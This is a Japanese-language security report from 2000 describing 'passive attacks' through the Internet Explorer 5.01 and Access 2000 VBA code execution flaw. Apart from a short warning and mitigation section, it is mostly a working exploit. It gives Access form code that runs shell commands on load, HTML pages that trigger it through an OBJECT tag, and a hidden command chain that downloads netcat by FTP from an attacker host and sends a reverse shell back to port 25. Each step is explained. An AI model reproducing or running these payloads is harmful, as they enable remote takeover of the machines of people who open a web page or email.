受動的攻撃について
Microsoft Internet Explorer 5.01 and Access 2000 VBA Code Execution Vulnerability
Eiji James Yoshida
penetration technique research site
http://www.geocities.co.jp/SiliconValley/1667/index.htm
1. Introduction
この報告書はGeorgi Guninski 氏が 2000 年 6 月に指摘した Internet Explorer 5.01 と Access 2000 を利用してリモートから任意のコマンドが実行できるという危険性を、多くの 利用者に報告すると共に、この危険性から今後増加していくであろう新しい攻撃に対する 警告を目的として書かれたものです。 報告書の中には具体的な攻撃方法やソース・コードが含まれていますが、これは実際に利 用者が危険性を体験してもらうために書かれたもので、決して許可の無いホストに対して テストを行わないでください。
2. 受動的攻撃
ここ最近の脆弱性の報告には、Microsoft ActiveX CAB File Execution Vulnerability や Microsoft Office 2000 UA Control Vulnerability といった web ページや HTML メールを利 用者が開くことにより攻撃されるものがあります。本来の積極的に行う攻撃を「能動的攻 撃」として考えた場合、攻撃対象(利用者)の行動を引き金として行われる攻撃は「受動的 攻撃」として考えられます。 この受動的攻撃は攻撃対象の行動に依存するため、能動的攻撃と比べて攻撃の成功率やタ イミングが利用者や環境によって大きく異なりますが、ファイアウォールなどのセキュリ ティにより外部から攻撃対象への到達が困難な場合に、攻撃対象の行動を引き金として行 われる受動的攻撃は、非常に有効な手段となります。 失敗 成功 ファイアウォール インターネット 内部ネットワーク 攻撃側 攻撃対象 web の取得 web の表示 ACL
3. 受動的攻撃の仕組み
受動的攻撃で非常に効果的なものとしてMicrosoft Internet Explorer 5.01 and Access 2000 VBA Code Execution Vulnerability があります。この脆弱性は、まず Access 2000 を 使い Shell()関数を埋め込んだ Form を作成します。この Shell()関数は、昨年騒がれた MDAC/RDS の脆弱性を利用した侵入を行う際にも使われています。
・Shell()関数
構文 :Shell("任意のコマンド")
使用例:Shell("cmd /c echo Hello World")
Shell()関数の使用例には cmd /c が使われていますが、この cmd /c を使うことでコマンド プロンプトと同様にコマンドを呼び出す事が出来ます。
このShell()関数を使って実際に Hello World と表示する Form を作成するには、次のコ ードを入力します。
[exploit.mdb]
Option Compare Database Private Sub Detail_Click() End Sub
Private Sub Form_Load()
On Error GoTo Err_Command0_Click Dim stAppName As String
stAppName = "cmd /c echo Hello World&pause" Call Shell( stAppName, 1)
Exit_Command0_Click: Exit Sub Err_Command0_Click: MsgBox Err.Description Resume Exit_Command0_Click End Sub
Private Sub Form_Open(Cancel As Integer) End Sub
コードを入力して保存後、実際にForm をダブルクリックすると次のような画面が表示さ れます。 Form を exploit.mdb と名前を付けて保存した後、この mdb を攻撃対象に実行させるた めのweb ページを作成します。 攻撃対象がweb ページを見ることにより mdb を起動させるには、画像、ドキュメント、 ActiceX コントロールや、Java アプレット、コントロールなどの貼り付けに使用される <OBJECT>タグを使用することで可能となります。 実際に受動的攻撃のweb ページを作成して、攻撃が成功するか実験します。 [index.html] <html>
<title>Microsoft Internet Explorer 5.01 and Access 2000 VBA Code Execution Vulnerability</title> <META http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<p align="center"> </p>
</u></strong></font></p> <p align="center"> </p> <p align="center">受動的攻撃のテストを行います。</p> <p align="center">"Hello World"と表示された場合は</p> <p align="center">受動的攻撃は成功です。</p> <p> </p>
<p align="center"><OBJECT data="exploit.mdb" id="d1"></OBJECT></p> <p align="center"> </p>
<p align="center" class="MsoNormal" style="text-align:center">Eiji James Yoshida</p>
<p align="center" class="MsoNormal" style="text-align:center"><a href="mailto:[email protected]">[email protected]</a></p> <p align="center" class="MsoNormal" style="text-align:center"> <a
href="http://www.geocities.co.jp/SiliconValley/1667">http://www.geocities.co.jp/SiliconValley/1667</a> </p>
<p align="center" class="MsoNormal" style="text-align:center">June 30, 2000</p>
<p align="center">Witten by Eiji James Yoshida.</p> </html>
このweb ページを index.html と名前を付けて保存し、同じ階層に exploit.mdb を置きま す。
設置されたweb ページを Internet Explorer 5.01 と Access 2000 がインストールされた 環境で見たときに、コマンドプロンプトが開き"Hello World"と表示された場合は受動的攻 撃の成功です。
4. 受動的攻撃の応用
実際に作成した exploit.mdb は"Hello World"と表示するだけでしたが、この脆弱性は複 数のコマンドを組み合わせることで、非常に危険な攻撃が可能となります。 今度は受動的攻撃により攻撃対象にトロイの木馬をダウンロードさせて、攻撃側のホスト にシェルを転送させます。 攻撃が成功するまでの過程は次の通りです。 1.<OBJECT>タグを使い、攻撃対象で exploit2.mdb を実行 2.FTP コマンドの自動化ファイルを攻撃対象に作成 3.FTP コマンドを自動化して、攻撃対象にトロイの木馬を保存 4.トロイの木馬を使い、攻撃側ホストにシェルを転送 実際に受動的攻撃のページを作成して、この攻撃の危険性を体験してください。
4-1.
exploit2.mdb の作成
exploit2.mdb には Shell()関数を使い、FTP コマンドの自動化ファイルの作成、FTP コマン ドの自動化を実行、ディレクトリを指定してトロイの木馬を保存、トロイの木馬の設定、 ファイアウォール インターネット 内部ネットワーク 攻撃側 攻撃対象 web の取得 exploit2.mdb を転送 FTP トロイの木馬を転送 シェルの転送 ACL web の表示 保存カレントディレクトリの変更、トロイの木馬の実行といった一連の流れを記述します。 [auto.txt] open xxx.xxx.xxx.xxx anonymous hehehe@hehehe lcd c:¥ bin get nc.exe quit [exploit2.mdb]
Option Compare Database Private Sub Detail_Click() End Sub
Private Sub Form_Load()
On Error GoTo Err_Command0_Click Dim stAppName As String
stAppName = "cmd /c echo open xxx.xxx.xxx.xxx>c:¥auto.txt&echo
anonymous>>c:¥auto.txt&echo hehehe@hehehe>>c:¥auto.txt&echo lcd
c:¥>>c:¥auto.txt&echo bin>>c:¥auto.txt&echo get nc.exe>>c:¥auto.txt&echo
quit>>c:¥auto.txt&c:&cd ¥&ftp -s:c:¥auto.txt&start
www.geocities.co.jp/SiliconValley/1667&c:¥nc.exe -d -e cmd.exe xxx.xxx.xxx.xxx 25" Call Shell(stAppName, 0) Exit_Command0_Click: Exit Sub Err_Command0_Click: MsgBox Err.Description Resume Exit_Command0_Click End Sub
Private Sub Form_Open(Cancel As Integer) End Sub
1. cmd /c
コマンド インタプリタを起動します。
2. echo open xxx.xxx.xxx.xxx>c:¥auto.txt 3. echo anonymous>>c:¥auto.txt
4. echo hehehe@hehehe>>c:¥auto.txt 5. echo lcd c:¥>>c:¥auto.txt
6. echo bin>>c:¥auto.txt 7. echo get nc.exe>>c:¥auto.txt 8. echo quit>>c:¥auto.txt IP アドレス xxx.xxx.xxx.xxx からトロイの木馬をダウンロードするための自動化フ ァイルを作成します。 9. c: 10. cd ¥ カレントディレクトリを C ドライブに変更します。 11. ftp -s:c:¥auto.txt FTP コマンドを自動化して、トロイの木馬をダウンロードします。 12. start www.geocities.co.jp/SiliconValley/1667 動作確認(単に宣伝とも言います) 13. c:¥nc.exe -d -e cmd.exe xxx.xxx.xxx.xxx 25 IP アドレス xxx.xxx.xxx.xxx の 25 番ポートにシェルの転送を試みます。
exploit2.mdb では、トロイの木馬として L0pht Heavy Industries の Netcat for NT 1.1 を使用しています。
またShell(stAppName, 0)の値が exploit.mdb では 1 でしたが、1 では攻撃対象でプロン プトが表示されてしまいますので0 を設定して非表示にします。
実際に受動的攻撃のweb ページを作成して、攻撃が成功するか実験します。 [index.html]
<html>
<title>Microsoft Internet Explorer 5.01 and Access 2000 VBA Code Execution Vulnerability</title> <META http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<p align="center"> </p>
<p align="center"><font size="5" face=" M S ゴシック "><strong><u> 受 動 的 攻 撃 のテ ス ト ペ ー ジ </u></strong></font></p>
<p align="center"> </p>
<p align="center">受動的攻撃のテストを行います。</p> <p align="center">シェルが転送されます。</p>
<p> </p>
<p align="center"><OBJECT data="exploit2.mdb" id="d1"></OBJECT></p> <p align="center"> </p>
<p align="center" class="MsoNormal" style="text-align:center">Eiji James Yoshida</p>
<p align="center" class="MsoNormal" style="text-align:center"><a href="mailto:[email protected]">[email protected]</a></p> <p align="center" class="MsoNormal" style="text-align:center"> <a
href="http://www.geocities.co.jp/SiliconValley/1667">http://www.geocities.co.jp/SiliconValley/1667</a> </p>
<p align="center" class="MsoNormal" style="text-align:center">June 30, 2000</p>
<p align="center">Witten by Eiji James Yoshida.</p> </html>
このweb ページを index.html と名前を付けて保存し、同じ階層に exploit2.mdb を置き ます。
次に攻撃側のホスト(シェルの転送先)でNetcat for NT 1.1 を使って、25 番ポートに転送 されたシェルを受け止める設定をします。
設置されたweb ページを Internet Explorer 5.01 と Access 2000 がインストールされた 環境で見たときに、攻撃側のホスト(シェルの転送先)で設定したNetcat にシェルが転送さ れたら成功です。転送されてきたシェルでstart www.yahoo.co.jp を実行すると、攻撃対象 はwww.yahoo.co.jp の web に移動するのがわかると思います。 この攻撃によって実行されるプロセスのアクセス権は、ブラウザを起動した際のアクセス 権なので、administrators の権限で web ページを見ていると非常に危険です。
4-3. 対策方法
Internet Explorer 5.01 のセキュリティの設定を操作してみましたが、いずれもダイアロ グを表示するだけでコマンドは実行されてしまいます。 マイクロソフトの修正プログラムが提供されるまでは、administrators 権限でブラウザ を起動しないように注意するか、信頼できる web ページ以外は見ないようにするといった 対策を推奨します。5. Conclusion
Microsoft Internet Explorer 5.01 and Access 2000 VBA Code Execution Vulnerability を例として受動的攻撃の危険性を説明しましたが、この受動的攻撃は web ページだけの問 題ではありません。web ページを HTML メールとして送信することで、この受動的攻撃は 更に攻撃性を増します。実際にMicrosoft Internet Explorer and Outlook/Outlook Express Remote File Write Vulnerability と MS IE HTML Help Shortcut Vulnerability を組み合 わせたHTML メールを送ることで、Outlook Express のプレビューのみで任意のファイル を実行することに成功しています。
この受動的攻撃は、高度なセキュリティ対策が施されているネットワークに侵入する有効 な手段として、今後増加するのではないかと思います。
参考 web サイト
[Georgi Guninski's home page] http://www.nat.bg/~joro/ [SecurityFocus] http://www.securityfocus.com [L0pht Heavy Industries] http://www.l0pht.com/